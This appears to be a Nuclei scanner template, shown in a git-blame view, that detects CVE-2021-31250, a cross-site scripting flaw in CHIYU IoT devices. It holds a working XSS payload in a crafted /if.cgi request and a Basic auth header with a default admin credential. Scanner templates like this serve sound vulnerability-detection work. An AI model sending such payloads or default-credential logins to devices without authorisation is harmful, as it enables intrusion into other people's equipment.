2021-07-26 17:18:45 +00:00
|
|
|
id: CVE-2021-31250
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: CHIYU IoT XSS
|
|
|
|
author: geeknik
|
|
|
|
severity: medium
|
2022-04-22 10:38:41 +00:00
|
|
|
description: Several versions and models of CHIYU IoT devices are vulnerable to multiple Cross-Site Scripting flaws.
|
|
|
|
reference:
|
|
|
|
- https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31250
|
2022-05-17 09:18:12 +00:00
|
|
|
- https://www.chiyu-tech.com/msg/message-Firmware-update-87.htm
|
|
|
|
- https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks/
|
2021-09-10 11:26:40 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
|
2022-04-22 10:38:41 +00:00
|
|
|
cvss-score: 5.4
|
2021-09-10 11:26:40 +00:00
|
|
|
cve-id: CVE-2021-31250
|
|
|
|
cwe-id: CWE-79
|
2022-04-22 10:38:41 +00:00
|
|
|
tags: cve,cve2021,chiyu,xss,iot
|
2021-07-26 17:18:45 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/if.cgi?redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask=%22%3E%3Cscript%3Ealert%28{{randstr}}%29%3C%2Fscript%3E&radio_ping_block=0&max_tcp=3&B_apply=APPLY"
|
|
|
|
headers:
|
|
|
|
Authorization: "Basic OmFkbWlu"
|
|
|
|
|
|
|
|
redirects: true
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- "text/html"
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- "\"><script>alert({{randstr}})</script>"
|